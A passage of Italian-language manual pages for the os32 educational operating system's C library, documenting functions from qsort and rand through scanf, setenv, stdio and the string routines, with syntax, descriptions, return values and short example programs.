environ(7) [116.1], *getenv(3)* [113.51], *setenv(3)* [113.97], *unsetenv(3)* [113.97].

113.88 os32: puts(3)

Vedere *fputs(3)* [113.38].

113.89 os32: qsort(3)

NOME

'**`qsort`**' - riordino di un array

SINTASSI

```
#include <stdlib.h>
void qsort (void *base, size_t nmemb, size_t size,
            int (*compare)(const void *, const void *));
```

DESCRIZIONE

La funzione ***qsort()*** riordina un array composto da ***nmemb*** elementi da ***size*** byte ognuno. Il primo argomento, ovvero il parametro ***base***, è il puntatore all'indirizzo iniziale di questo array in memoria.

Il riordino avviene comparando i vari elementi con l'ausilio di una funzione, passata tramite il suo puntatore, la quale deve ricevere due argomenti, costituiti dai puntatori agli elementi dell'array da confrontare. Tale funzione deve restituire un valore minore di zero per un confronto in cui il suo primo argomento deve essere collocato prima del secondo; un valore pari a zero se gli argomenti sono uguali ai fini del riordino; un valore maggiore di zero se il suo primo argomento va collocato dopo il secondo nel riordino.

Segue un esempio di utilizzo della funzione ***qsort()***:

```
#include <stdio.h>
#include <stdlib.h>

int confronta (const void *a, const void *b)
{
    int x = *((int *) a);
    int y = *((int *) b);
    return x - y;
}

int main (void)
{
    int a[] = {3, 1, 5, 2};

    qsort (&a[0], 4, sizeof (int), confronta);
    printf ("%d %d %d %d\n", a[0], a[1], a[2], a[3]);

    return 0;
}
```

FILE SORGENTI

‘`lib/stdlib.h`’ [120.13]

‘`lib/stdlib/qsort.c`’ [120.13.16]

113.90 os32: rand(3)

NOME

‘**`rand`**’ - generazione di numeri pseudo-casuali

SINTASSI

```
#include <stdlib.h>
int  rand  (void);
void srand (unsigned int seed);
```

DESCRIZIONE

La funzione ***rand()*** produce un numero intero casuale, sulla base di un seme, il quale può essere cambiato in ogni momento, con l’ausilio di ***srand()***. A ogni chiamata della funzione ***rand()***, il risultato ottenuto, viene utilizzato anche come seme per la chiamata successiva. Se inizialmente non viene assegnato alcun seme, il primo valore predefinito è pari a 1.

VALORE RESTITUITO

La funzione ***rand()*** restituisce un numero intero casuale, determinato sulla base del seme accumulato in precedenza.

FILE SORGENTI

'lib/stdlib.h' [120.13]

'lib/stdlib/rand.c' [120.13.17]

113.91 os32: readdir(3)

NOME

'**readdir**' - lettura di una directory

SINTASSI

```
#include <sys/types.h>
#include <dirent.h>
struct dirent *readdir (DIR *dp);
```

DESCRIZIONE

La funzione ***readdir()*** legge una voce dalla directory rappresentata da ***dp*** e restituisce il puntatore a una variabile strutturata di tipo '**struct dirent**', contenente le informazioni tratte dalla voce letta. La variabile strutturata in questione si trova in memoria statica e viene sovrascritta con le chiamate successive della funzione ***readdir()***.

Il tipo '**struct dirent**' è definito nel file di intestazione 'dirent.h', nel modo seguente:

```
struct dirent {
    ino_t       d_ino;
    char        d_name[NAME_MAX+1];
};
```

Il membro ***d_ino*** è il numero di inode del file il cui nome appare nel membro ***d_name***. La macro-variabile ***NAME_MAX*** è dichiarata a sua volta nel file di intestazione 'limits.h'. La dimensione del membro ***d_name*** è tale da permettere di includere anche il valore zero di terminazione delle stringhe.

VALORE RESTITUITO

La funzione restituisce il puntatore a una variabile strutturata di tipo '**struct dirent**'; se la lettura ha già raggiunto la fine della directory, oppure per qualunque altro tipo di errore, la funzione restituisce '**NULL**' e aggiorna eventualmente la variabile ***errno***.

ERRORI

Valore di ***errno***	Significato
EBADF	La directory rappresentata da ***dp*** non è valida.

FILE SORGENTI

'lib/sys/types.h' [120.17]

'lib/dirent.h' [120.3]

'`lib/dirent/DIR.c`' [120.3.1]

'`lib/dirent/readdir.c`' [120.3.4]

VEDERE ANCHE

read(2) [112.34], *closedir(3)* [113.12], *opendir(3)* [113.82], *rewinddir(3)* [113.94].

113.92 os32: realloc(3)

Vedere *malloc(3)* [113.71].

113.93 os32: rewind(3)

NOME

'**`rewind`**' - riposizionamento all'inizio dell'indice di accesso a un flusso di file

SINTASSI

```
#include <stdio.h>
void rewind (FILE *fp);
```

DESCRIZIONE

La funzione ***rewind()*** azzera l'indice della posizione interna del flusso di file specificato con il parametro ***fp***; inoltre azzera anche l'indicatore di errore dello stesso flusso. In pratica si ottiene la stessa cosa di:

```
(void) fseek (fp, 0L, SEEK_SET);
clearerr (fp);
```

FILE SORGENTI

'`lib/stdio.h`' [120.12]

'`lib/stdio/FILE.c`' [120.12.1]

'`lib/stdio/rewind.c`' [120.12.30]

VEDERE ANCHE

lseek(2) [112.28], *fgetpos(3)* [113.32], *fsetpos(3)* [113.32], *ftell(3)* [113.46], *fseek(3)* [113.43], *rewind(3)* [113.93].

113.94 os32: rewinddir(3)

NOME

'**`rewinddir`**' - riposizionamento all'inizio del riferimento per l'accesso a una directory

SINTASSI

```
#include <sys/types.h>
#include <dirent.h>
void rewinddir (DIR *dp);
```

DESCRIZIONE

La funzione ***rewinddir()*** riposiziona i riferimenti per l'accesso alla directory indicata, in modo che la prossima lettura o scrittura avvenga dalla prima posizione.

VALORE RESTITUITO

La funzione non restituisce alcunché e non si presenta nemmeno la possibilità di segnalare errori attraverso la variabile ***errno***.

FILE SORGENTI

'`lib/sys/types.h`' [120.17]

'`lib/dirent.h`' [120.3]

'`lib/dirent/DIR.c`' [120.3.1]

'`lib/dirent/rewinddir.c`' [120.3.5]

VEDERE ANCHE

rewind(3) [113.93], *closedir(3)* [113.12], *opendir(3)* [113.82], *rewinddir(3)* [113.91].

113.95 os32: scanf(3)

NOME

'**`scanf`**', '**`fscanf`**', '**`sscanf`**' - interpretazione dell'input e conversione

SINTASSI

```
#include <stdio.h>
int scanf  (const char *restrict format, ...);
int fscanf (FILE *restrict fp, const char *restrict format, ...);
int sscanf (char *restrict string, const char *restrict format, ...);
```

DESCRIZIONE

Le funzioni del gruppo '...**`scanf()`**' hanno in comune lo scopo di interpretare dei dati, forniti in forma di stringa, convertendoli opportunamente.

I dati in ingresso sono costituiti da una sequenza di caratteri, la quale viene fornita tramite lo standard input per ***scanf()***, tramite il flusso di file ***fp*** per ***fscanf()***, oppure tramite la stringa ***string*** per ***sscanf()***. L'interpretazione dei dati in ingresso viene guidata da una stringa di formato, costituita dal parametro ***format***, per le tre funzioni. La stringa di formato contiene degli ***specificatori di conversione***, con cui si determina il tipo degli argomenti variabili che non sono esplicitati nel prototipo delle funzioni.

Per ogni specificatore di conversione contenuto nella stringa di formato, deve esistere un argomento, successivo al parametro ***format***, costituito dal puntatore a una variabile di tipo conforme a quanto indicato dallo specificatore relativo. La conversione per quello specificatore, comporta la memorizzazione del risultato in memoria, in corrispondenza del puntatore relativo. Si osservi l'esempio seguente:

```
int valore;
…
scanf ("%i", &valore);
```

In questo modo si attende l'inserimento, attraverso lo standard input, di un numero intero, da convertire e assegnare così alla variabile ***valore***; Infatti, lo specificatore di conversione '**`%i`**', consente di interpretare un numero intero.

Gli specificatori di conversione devono rispettare la sintassi seguente per la libreria di os32:

```
%[*] [n_ampiezza] [hh|h|l|j|z|t] tipo
```

Come si può vedere, all'inizio può apparire un asterisco, il cui scopo è quello di annullare l'assegnamento del valore a una variabile. In pratica, con l'asterisco il dato corrispondente allo specificatore viene interpretato, ma poi non viene salvato.

Successivamente può apparire un numero che rappresenta l'ampiezza del dato da interpretare, in byte, il cui scopo è quello di limitare la lettura fino a un certo carattere.

Dopo può apparire una sigla, composta da una o più lettere, il cui scopo è quello di modificare la dimensione predefinita della variabile di destinazione. In altri termini, senza questo modificatore si intende che la variabile ricevente debba essere di una certa grandezza, ma con l'aggiunta del «modificatore di lunghezza» si precisa invece qualcosa di diverso. In pratica, il modificatore di lunghezza usato da queste funzioni è equivalente a quello delle funzioni di composizione dell'output.

Al termine dello specificatore di conversione appare una lettera che dichiara come deve essere interpretato il dato in ingresso e, in mancanza del modificatore di lunghezza, indica anche la dimensione della variabile ricevente.

Tipi di conversione.

Simbolo	Tipo di argomento	Conversione applicata
`%…d`	`int *`	Numero intero con segno rappresentato in base dieci.
`%…i`	`int *`	Numero intero con segno rappresentare in base dieci o in base otto, avendo come prefisso uno zero, oppure in base sedici, avendo come prefisso '**`0x`**' o '**`0X`**'.
`%…u`	`unsigned int *`	Numero intero senza segno rappresentato in base dieci.
`%…o`	`unsigned int *`	Numero intero senza segno rappresentato in ottale (con o senza lo zero iniziale).

Simbolo	Tipo di argomento	Conversione applicata
%…x	unsigned int *	Numero intero senza segno rappresentato in esadecimale (con o senza il prefisso '**0x**' o '**0X**').
%…c	char *	Interpreta un solo carattere, o più caratteri se si specifica l'ampiezza. Nella lettura contano anche gli spazi o qualunque altro carattere e non viene aggiunto il carattere nullo di terminazione.
%…s	char *	Interpreta una sequenza di caratteri che non siano spazi, aggiungendo alla fine il carattere nullo di terminazione.
%p	void *	Interpreta il valore di un puntatore che sia rappresentato nello stesso modo in cui farebbe la funzione '**printf("%p",** ***puntatore*****)**'.

Simbolo	Tipo di argomento	Conversione applicata
%n	int *	Questo specificatore non esegue alcuna conversione e si limita a memorizzare la quantità di caratteri ('**char**') letti fino a quel punto.
%…[…]	char *	Interpreta una stringa non vuota contenente solo i caratteri elencati tra parentesi quadre, aggiungendo alla fine il carattere nullo di terminazione. Se tra i caratteri si cerca anche la parentesi quadra chiusa, questa va messa all'inizio dell'elenco: '**%…[]…]**'.
%…[^…]	char *	Interpreta una stringa non vuota contenente solo caratteri diversi da quelli elencati tra parentesi quadre, aggiungendo alla fine il carattere nullo di terminazione. Se tra i caratteri da escludere si vuole indicare anche la parentesi quadra chiusa, questa va messa all'inizio dell'elenco: '**%…[^]…]**'.
%%		Interpreta un carattere di percentuale tra i dati in ingresso, ma senza memorizzare alcunché.

Modificatori della lunghezza del dato in uscita.

Simbolo	Tipo	Simbolo	Tipo

`%…hhd`
`%…hhi`
	`signed char *`	`%…hhu`
		`%…hho`
		`%…hhx`
		`%…hhn`
			`unsigned char *`

`%…hd`
`%…hi`
	`short int *`	`%…hu`
		`%…ho`
		`%…hx`
		`%…hn`
			`unsigned short int *`

`%…ld`
`%…li`
	`long int *`	`%…lu`
		`%…lo`
		`%…lx`
		`%…ln`
			`unsigned long int *`

Simbolo	Tipo	Simbolo	Tipo

`%…jd`
`%…ji`
	`intmax_t *`	`%…ju`
		`%…jo`
		`%…jx`
		`%…jn`
			`uintmax_t *`

`%…zd`
`%…zi`
	`size_t *`	`%…zu`
		`%…zo`
		`%…zx`
		`%…zn`
			`size_t *`

`%…td`
`%…ti`
	`ptrdiff_t *`	`%…tu`
		`%…to`
		`%…tx`
		`%…tn`
			`ptrdiff_t *`

La stringa di conversione è composta da ***direttive***, ognuna delle quali è formata da: uno o più spazi (spazi veri e propri o caratteri di tabulazione orizzontale); un carattere diverso da '`%`' e diverso dai caratteri che rappresentano spazi, oppure uno specificatore di conversione.

```
[spazi] carattere | %...
```

Dalla sequenza di caratteri che costituisce i dati in ingresso da interpretare, vengono eliminati automaticamente gli spazi iniziali e finali (tutto ciò che si può considerare spazio, anche il codice di interruzione di riga), quando all'inizio o alla fine non ci sono corrispondenze con specificatori di conversione che possono interpretarli.

Quando la direttiva di interpretazione inizia con uno o più spazi orizzontali, significa che si vogliono ignorare gli spazi a partire dalla posizione corrente nella lettura dei dati in ingresso; inoltre, la presenza di un carattere che non fa parte di uno specificatore di conversione indica che quello stesso carattere deve essere incontrato nell'interpretazione dei dati in ingresso, altrimenti il procedimento di lettura e valutazione si deve interrompere. Se due specificatori di conversione appaiono adiacenti, i dati in ingresso corrispondenti possono essere separati da spazi orizzontali o da spazi verticali (il codice di interruzione di riga).

VALORE RESTITUITO

Le funzioni restituiscono la quantità di elementi in ingresso interpretati e assegnati correttamente: una quantità inferiore al previsto indica pertanto un errore. Se le funzioni restituiscono il valore '**`EOF`**', si tratta di un errore, dovuto eventualmente a un problema di interpretazione del formato o a un problema di accesso al flusso di file da cui deve provenire l'input.

ERRORI

Valore di *errno*	Significato
`EINVAL`	Gli argomenti forniti alla chiamata non sono validi per qualche ragione.
`EPERM`	Operazione di accesso non consentita.
`EACCES`	Accesso non consentito.
`EBADF`	Il descrittore del file a cui si riferisce il flusso, non è valido.
`ERANGE`	Il risultato della conversione di un intero, non può essere memorizzato nel tipo di variabile a cui si riferisce lo specificatore di conversione.

FILE SORGENTI

'`lib/stdio.h`' [120.12]

'`lib/stdio/fscanf.c`' [120.12.17]

'`lib/stdio/scanf.c`' [120.12.31]

'`lib/stdio/sscanf.c`' [120.12.36]

VEDERE ANCHE

vfscanf(3) [113.131], *vscanf(3)* [113.131], *vsscanf(3)* [113.131], *printf(3)* [113.84].

113.96 os32: setbuf(3)

NOME

'**setbuf**', '**setvbuf**' - modifica della memoria tampone per i flussi di file

SINTASSI

```
#include <stdio.h>
void setbuf (FILE *restrict fp, char *restrict buffer);
int setvbuf (FILE *restrict fp, char *restrict buffer, int buf_mode,
             size_t size);
```

DESCRIZIONE

Le funzioni ***setbuf()*** e ***setvbuf()*** della libreria di os32, non fanno alcunché, perché os32 non gestisce una memoria tampone per i flussi di file.

VALORE RESTITUITO

La funzione ***setvbuf()*** restituisce, in tutti i casi, il valore zero.

FILE SORGENTI

'`lib/stdio.h`' [120.12]

'`lib/stdio/setbuf.c`' [120.12.32]

'`lib/stdio/setvbuf.c`' [120.12.33]

VEDERE ANCHE

fflush(3) [113.30].

113.97 os32: setenv(3)

NOME

'**setenv**', '**unsetenv**' - assegnamento o cancellazione di una variabile di ambiente

SINTASSI

```
#include <stdlib.h>
int setenv   (const char *name, const char *value, int overwrite);
int unsetenv (const char *name);
```

DESCRIZIONE

La funzione ***setenv()*** crea o assegna un valore a una variabile di ambiente. Se questa variabile esiste già, la modifica del valore assegnatole può avvenire soltanto se l'argomento corrispondente al parametro ***overwrite*** risulta essere diverso da zero; in caso contrario, la modifica non ha luogo.

La funzione ***unsetenv()*** si limita a cancellare la variabile di ambiente specificata come argomento.

VALORE RESTITUITO

Valore	Significato
0	Operazione riuscita.
−1	Operazione fallita. Va verificato l'errore indicato dalla variabile ***errno***.

ERRORI

Valore di ***errno***	Significato
`EINVAL`	Argomento non valido.
`ENOMEM`	Memoria insufficiente.

FILE SORGENTI

'`lib/stdlib.h`' [120.13]

'`applic/crt0.mer.s`' [121.1.11]

'`applic/crt0.sep.s`' [121.1.12]

'`lib/stdlib/environment.c`' [120.13.8]

'`lib/stdlib/setenv.c`' [120.13.18]

'`lib/stdlib/unsetenv.c`' [120.13.21]

VEDERE ANCHE

environ(7) [116.1], *getenv(3)* [113.51], *putenv(3)* [113.87].

113.98 os32: setgrent(3)

Vedere *getgrent(3)* [113.52].

113.99 os32: setpwent(3)

Vedere *getpwent(3)* [113.56].

113.100 os32: setvbuf(3)

Vedere *setbuf(3)* [113.96].

113.101 os32: snprintf(3)

Vedere *printf(3)* [113.84].

113.102 os32: sprintf(3)

Vedere *printf(3)* [113.84].

113.103 os32: srand(3)

Vedere *rand(3)* [113.90].

113.104 os32: sscanf(3)

Vedere *scanf(3)* [113.95].

113.105 os32: stdio(3)

NOME

'**stdio**' - libreria per la gestione dei file in forma di flussi di file (*stream*)

SINTASSI

```
#include <stdio.h>
```

DESCRIZIONE

Le funzioni di libreria che fanno capo al file di intestazione '`stdio.h`', consentono di gestire i file in forma di «flussi», rappresentati da puntatori al tipo '**FILE**'. Questa gestione si sovrappone a quella dei file in forma di «descrittori», la quale avviene tramite chiamate di sistema. Lo scopo della sovrapposizione dovrebbe essere quello di gestire i file con l'ausilio di una memoria tampone, cosa che però la libreria di os32 non fornisce.

Nella libreria di os32, il tipo '**FILE ***' è un puntatore a una variabile strutturata che contiene solo tre informazioni: il numero del descrittore del file a cui il flusso si associa; lo stato di errore; lo stato di raggiungimento della fine del file.

```
typedef struct {
    int           fdn;      // File descriptor number.
    char          error;    // Error indicator.
    char          eof;      // End of file indicator.
} FILE;
```

Le variabili strutturate necessarie per questa gestione, sono raccolte in un array, dichiarato nel file '`lib/stdio/FILE.c`', con il nome ***_stream[]***, dove per il descrittore di file ***n***, si associano sempre i dati di ***_stream[n]***.

```
FILE _stream[FOPEN_MAX];
```

Così come sono previsti tre descrittori (zero, uno e due) per la gestione di standard input, standard output e standard error, tutti i processi inizializzano l'array ***_stream[]*** con l'abbinamento a tali descrittori, per i primi tre flussi.

```
void
_stdio_stream_setup (void)
{
    _stream[0].fdn   = 0;
    _stream[0].error = 0;
    _stream[0].eof   = 0;

    _stream[1].fdn   = 1;
    _stream[1].error = 0;
    _stream[1].eof   = 0;

    _stream[2].fdn   = 2;
    _stream[2].error = 0;
    _stream[2].eof   = 0;
}
```

Ciò avviene attraverso il codice contenuto nel file '`crt0.s`', dove si chiama la funzione che provvede a tale inizializzazione, contenuta nel file '`lib/stdio/FILE.c`'. Per fare riferimento ai flussi predefiniti, si usano i nomi '**`stdin`**', '**`stdout`**' e '**`stderr`**', i quali sono dichiarati nel file '`stdio.h`', come puntatori ai primi tre elementi dell'array ***_stream[]***:

```
#define stdin   (&_stream[0])
#define stdout  (&_stream[1])
#define stderr  (&_stream[2])
```

FILE SORGENTI

'`lib/sys/types.h`' [120.17]

'`lib/stdio.h`' [120.12]

'`lib/stdio/FILE.c`' [120.12.1]

'`applic/crt0.mer.s`' [121.1.11]

'`applic/crt0.sep.s`' [121.1.12]

VEDERE ANCHE

close(2) [112.8], *open(2)* [112.32], *read(2)* [112.34], *write(2)* [112.54].

113.106 os32: strcat(3)

NOME

'**`strcat`**', '**`strncat`**' - concatenamento di una stringa a un'altra già esistente

SINTASSI

```
#include <string.h>
char *strcat  (char *restrict dst, const char *restrict org);
char *strncat (char *restrict dst, const char *restrict org,
               size_t n);
```

DESCRIZIONE

Le funzioni ***strcat()*** e ***strncat()*** copiano la stringa di origine ***org***, aggiungendola alla stringa di destinazione ***dst***, nel senso che la scrittura avviene a partire dal codice di terminazione '**`\0`**' che viene così sovrascritto. Al termine della copia, viene aggiunto nuovamente il codice di terminazione di stringa '**`\0`**', nella nuova posizione conclusiva.

Nel caso particolare di ***strncat()***, la copia si arresta al massimo dopo il trasferimento di ***n*** caratteri. Pertanto, la stringa di origine per ***strncat()*** potrebbe anche non essere terminata correttamente, se raggiunge o supera la dimensione di ***n*** caratteri. In ogni caso, nella destinazione viene aggiunto il codice nullo di terminazione di stringa, dopo la copia del carattere ***n***-esimo.

VALORE RESTITUITO

Le due funzioni restituiscono ***dst***.

FILE SORGENTI

'`lib/string.h`' [120.14]

'`lib/string/strcat.c`' [120.14.7]

'`lib/string/strncat.c`' [120.14.16]

VEDERE ANCHE

memccpy(3) [113.72], *memcpy(3)* [113.75], *strcpy(3)* [113.110], *strncpy(3)* [113.110].

113.107 os32: strchr(3)

NOME

'**`strchr`**', '**`strrchr`**' - ricerca di un carattere all'interno di una stringa

SINTASSI

```
#include <string.h>
char *strchr  (const char *string, int c);
char *strrchr (const char *string, int c);
```

DESCRIZIONE

Le funzioni ***strchr()*** e ***strrchr()*** scandiscono la stringa ***string*** alla ricerca di un carattere uguale al valore di ***c***. La funzione ***strchr()*** scandisce a partire da «sinistra», ovvero ricerca la prima corrispondenza con il carattere ***c***, mentre la funzione ***strrchr()*** cerca l'ultima corrispondenza con il carattere ***c***, pertanto è come se scandisse da «destra».

VALORE RESTITUITO

Se le due funzioni trovano il carattere che cercano, ne restituiscono il puntatore, altrimenti restituiscono '**`NULL`**'.

FILE SORGENTI

'`lib/string.h`' [120.14]

'`lib/string/strchr.c`' [120.14.8]

'`lib/string/strrchr.c`' [120.14.20]

VEDERE ANCHE

memchr(3) [113.73], *strlen(3)* [113.114], *strpbrk(3)* [113.118], *strspn(3)* [113.120].

113.108 os32: strcmp(3)

NOME

'**strcmp**', '**strncmp**' - confronto di due stringhe

SINTASSI

```
#include <string.h>
int strcmp  (const char *string1, const char *string2);
int strncmp (const char *string1, const char *string2, size_t n);
int strcoll (const char *string1, const char *string2);
```

DESCRIZIONE

Le funzioni ***strcmp()*** e ***strncmp()*** confrontano due stringhe, nel secondo caso, il confronto avviene al massimo fino al ***n***-esimo carattere.

La funzione ***strcoll()*** dovrebbe eseguire il confronto delle due stringhe tenendo in considerazione la configurazione locale. Tuttavia, os32 non è in grado di gestire le configurazioni locali, pertanto questa funzione coincide esattamente con ***strcmp()***.

VALORE RESTITUITO

Valore	Esito del confronto.
−1	***string1 < string2***
0	***string1 == string2***
+1	***string1 > string2***

FILE SORGENTI

'`lib/string.h`' [120.14]

'`lib/string/strcmp.c`' [120.14.9]

'`lib/string/strncmp.c`' [120.14.17]

'`lib/string/strcoll.c`' [120.14.10]

VEDERE ANCHE

memcmp(3) [113.74].

113.109 os32: strcoll(3)

Vedere *strcmp(3)* [113.108].

113.110 os32: strcpy(3)

NOME

'**strcpy**', '**strncpy**' - copia di una stringa

SINTASSI

```
#include <string.h>
char *strcpy  (char *restrict dst, const char *restrict org)
char *strncpy (char *restrict dst, const char *restrict org,
               size_t n);
```

DESCRIZIONE

Le funzioni ***strcpy()*** e ***strncpy()***, copiano la stringa ***org***, completa di codice nullo di terminazione, nella destinazione ***dst***. Eventualmente, nel caso di ***strncpy()***, la copia non supera i primi ***n*** caratteri, con l'aggravante che in tal caso, se nei primi ***n*** caratteri non c'è il codice nullo di terminazione delle stringhe, nella destinazione ***dst*** si ottiene una stringa non terminata.

VALORE RESTITUITO

Le funzioni restituiscono ***dst***.

FILE SORGENTI

'`lib/string.h`' [120.14]

'`lib/string/strcpy.c`' [120.14.11]

'`lib/string/strncpy.c`' [120.14.18]

VEDERE ANCHE

memccpy(3) [113.72], *memcpy(3)* [113.75], *memmove(3)* [113.76].

113.111 os32: strcspn(3)

Vedere *strspn(3)* [113.120].

113.112 os32: strdup(3)

NOME

'**strdup**' - duplicazione di una stringa

SINTASSI

```
#include <string.h>
char *strdup  (const char *string);
```

DESCRIZIONE

La funzione ***strdup()***, alloca dinamicamente una quantità di memoria, necessaria a copiare la stringa ***string***, quindi esegue tale copia e restituisce il puntatore alla nuova stringa allocata. Tale puntatore può essere usato successivamente per liberare la memoria, con l'ausilio della funzione ***free()***.

VALORE RESTITUITO

La funzione restituisce il puntatore alla nuova stringa ottenuta dalla copia, oppure '**`NULL`**' nel caso non fosse possibile allocare la memoria necessaria.

ERRORI

Valore di ***errno***	Significato
`ENOMEM`	Memoria insufficiente.

FILE SORGENTI

'`lib/string.h`' [120.14]

'`lib/string/strdup.c`' [120.14.13]

VEDERE ANCHE

free(3) [113.71], *malloc(3)* [113.71], *realloc(3)* [113.71].

113.113 os32: strerror(3)

NOME

'**`strerror`**' - descrizione di un errore in forma di stringa

SINTASSI

```
#include <string.h>
char *strerror (int errnum);
```

DESCRIZIONE

La funzione ***strerror()*** interpreta il valore ***errnum*** come un errore, di quelli che può rappresentare la variabile ***errno*** del file '`errno.h`'.

VALORE RESTITUITO

La funzione restituisce il puntatore a una stringa contenente la descrizione dell'errore, oppure soltanto '**`Unknown error`**', se l'argomento ricevuto non è traducibile.

FILE SORGENTI

'`lib/errno.h`' [120.4]

'`lib/string.h`' [120.14]

'`lib/string/strerror.c`' [120.14.14]

VEDERE ANCHE

errno(3) [113.19], *perror(3)* [113.83].

113.114 os32: strlen(3)

NOME

'**strlen**' - lunghezza di una stringa

SINTASSI

```
#include <string.h>
size_t strlen (const char *string);
```

DESCRIZIONE

La funzione ***strlen()*** calcola la lunghezza della stringa, ovvero la quantità di caratteri che la compone, escludendo il codice nullo di conclusione.

VALORE RESTITUITO

La funzione restituisce la quantità di caratteri che compone la stringa, escludendo il codice '**\0**' finale.

FILE SORGENTI

'`lib/string.h`' [120.14]

'`lib/string/strlen.c`' [120.14.15]

113.115 os32: strncat(3)

Vedere *strcat(3)* [113.106].

113.116 os32: strncmp(3)

Vedere *strcmp(3)* [113.108].

113.117 os32: strncpy(3)

Vedere *strcpy(3)* [113.110].

113.118 os32: strpbrk(3)

NOME

'**strpbrk**' - scansione di una stringa alla ricerca di un carattere

SINTASSI

```
#include <string.h>
char *strpbrk (const char *string, const char *accept);
```

DESCRIZIONE

La funzione ***strpbrk()*** cerca il primo carattere, nella stringa ***string***, che corrisponda a uno di quelli contenuti nella stringa ***accept***.

VALORE RESTITUITO

Restituisce il puntatore al primo carattere che, nella stringa ***string*** corrisponde a uno di quelli contenuti nella stringa ***accept***. In mancanza di alcuna corrispondenza, restituisce '**NULL**'.

FILE SORGENTI

'lib/string.h' [120.14]

'lib/string/strpbrk.c' [120.14.19]

VEDERE ANCHE

memchr(3) [113.73], *strchr(3)* [113.107], *strstr(3)* [113.121], *strtok(3)* [113.122].

113.119 os32: strrchr(3)

Vedere *strchr(3)* [113.107].

113.120 os32: strspn(3)

NOME

'**strspn**', '**strcspn**' - scansione di una stringa, limitatamente a un certo insieme di caratteri

SINTASSI

```
#include <string.h>
size_t strspn  (const char *string, const char *accept);
size_t strcspn (const char *string, const char *reject);
```

DESCRIZIONE

La funzione ***strspn()*** scandisce la stringa ***string***, calcolando la lunghezza di questa che contiene, a partire dall'inizio, soltanto caratteri che si trovano nella stringa ***accept***.

La funzione ***strcspn()*** scandisce la stringa ***string***, calcolando la lunghezza di questa che contiene, a partire dall'inizio, soltanto caratteri che non si trovano nella stringa ***reject***.

VALORE RESTITUITO

La funzione ***strspn()*** restituisce la lunghezza della stringa che contiene soltanto caratteri contenuti in ***accept***.

La funzione ***strcspn()*** restituisce la lunghezza della stringa che contiene soltanto caratteri che non sono contenuti in ***reject***.

FILE SORGENTI

'`lib/string.h`' [120.14]

'`lib/string/strspn.c`' [120.14.21]

'`lib/string/strcspn.c`' [120.14.12]

VEDERE ANCHE

memchr(3) [113.73], *strchr(3)* [113.107], *strpbrk(3)* [113.118], *strstr(3)* [113.121], *strtok(3)* [113.122].

113.121 os32: strstr(3)

NOME

'**`strstr`**' - ricerca di una sottostringa

SINTASSI

```
#include <string.h>
char *strstr (const char *string, const char *substring);
```

DESCRIZIONE

La funzione ***strstr()*** scandisce la stringa ***string***, alla ricerca della prima corrispondenza con la stringa ***substring***, restituendo eventualmente il puntatore all'inizio di tale corrispondenza.

VALORE RESTITUITO

Se la ricerca termina con successo, viene restituito il puntatore all'inizio della sottostringa contenuta in ***string***; diversamente viene restituito il puntatore nullo '**`NULL`**'.

FILE SORGENTI

'`lib/string.h`' [120.14]

'`lib/string/strstr.c`' [120.14.22]

VEDERE ANCHE

memchr(3) [113.73], *strchr(3)* [113.107], *strpbrk(3)* [113.118], *strtok(3)* [113.122].

113.122 os32: strtok(3)

NOME

'**strtok**' - *string token*, ovvero estrazione di pezzi da una stringa

SINTASSI

```
#include <string.h>
char *strtok (char *restrict string, const char *restrict delim);
```

DESCRIZIONE

La funzione ***strtok()*** serve a suddividere una stringa in unità, definite *token*, specificando un elenco di caratteri da intendere come delimitatori, in una seconda stringa. La funzione va usata in fasi successive, fornendo solo inizialmente la stringa da suddividere che continua poi a essere utilizzata se al suo posto viene fornito il puntatore nullo. La funzione restituisce, di volta in volta, il puntatore alla sottostringa contenente l'unità individuata, oppure il puntatore nullo, se non può trovarla.

La funzione deve tenere memoria di un puntatore in modo persistente e deve isolare le unità modificando la stringa originale, inserendo il carattere nullo di terminazione alla fine delle unità individuate.

Quando la funzione viene chiamata indicando al posto della stringa da scandire il puntatore nullo, l'insieme dei delimitatori può essere diverso da quello usato nelle fasi precedenti.

Per comprendere lo scopo della funzione viene utilizzato lo stesso esempio che appare nel documento *ISO/IEC 9899:TC2*, al paragrafo 7.21.5.7, con qualche piccola modifica per poterlo rendere un programma autonomo:

```
#include <stdio.h>
#include <string.h>
int
main (void)
{
    char str[] = "?a???b,,,#c";
    char *t;

    t = strtok (str, "?");             // t punta all'unità "a"
    printf ("strtok: \"%s\"\n", t);
    t = strtok (NULL, ",");            // t punta all'unità "??b"
    printf ("strtok: \"%s\"\n", t);
    t = strtok (NULL, "#,");           // t punta all'unità "c"
    printf ("strtok: \"%s\"\n", t);
    t = strtok (NULL, "?");            // t è un puntatore nullo
    printf ("strtok: \"%s\"\n", t);

    return 0;
}
```

Avviando il programma si ottiene quanto già descritto dai commenti inseriti nel codice:

```
strtok: "a"
strtok: "??b"
strtok: "c"
strtok: "(null)"
```

Ciò che avviene nell'esempio può essere schematizzato come segue. Inizialmente la stringa '**str**' ha in memoria l'aspetto seguente:

str[]											
?	a	?	?	?	b	,	,	,	#	c	\0

Dopo la prima chiamata della funzione ***strtok()*** la stringa risulta alterata e il puntatore ottenuto raggiunge la lettera '**a**':

```
t = strtok (str, "?");
```

?	a	\0	?	?	b	,	,	,	#	c	\0

Dopo la seconda chiamata della funzione, in cui si usa il puntatore nullo per richiedere una scansione ulteriore della stringa originale, si ottiene un nuovo puntatore che, questa volta, inizia a partire dal quarto carattere, rispetto alla stringa originale, dal momento che il terzo è già stato sovrascritto da un carattere nullo:

```
t = strtok (NULL, ",");
```

?	a	\0	?	?	b	\0	,	,	#	c	\0

La penultima chiamata della funzione ***strtok()*** raggiunge la lettera '**c**' che è anche alla fine della stringa originale:

```
t = strtok (NULL, "#,");
```

?	a	\0	?	?	b	\0	,	,	#	c	\0

L'ultimo tentativo di chiamata della funzione non può dare alcun esito, perché la stringa originale si è già conclusa.

VALORE RESTITUITO

La funzione restituisce il puntatore al prossimo «pezzo«, oppure '**NULL**' se non ce ne sono più.

FILE SORGENTI

'`lib/string.h`' [120.14]

'`lib/string/strtok.c`' [120.14.23]

VEDERE ANCHE

memchr(3) [113.73], *strchr(3)* [113.107], *strpbrk(3)* [113.118], *strspn(3)* [113.120].

113.123 os32: strtol(3)

NOME

'**strtol**', '**strtoul**' - conversione di una stringa in un numero

SINTASSI

```
#include <stdlib.h>
long int strtol (const char *restrict string, char **restrict endptr,
                 int base);

unsigned long int strtoul (const char *restrict string,
                           char **restrict endptr, int base);
```

DESCRIZIONE

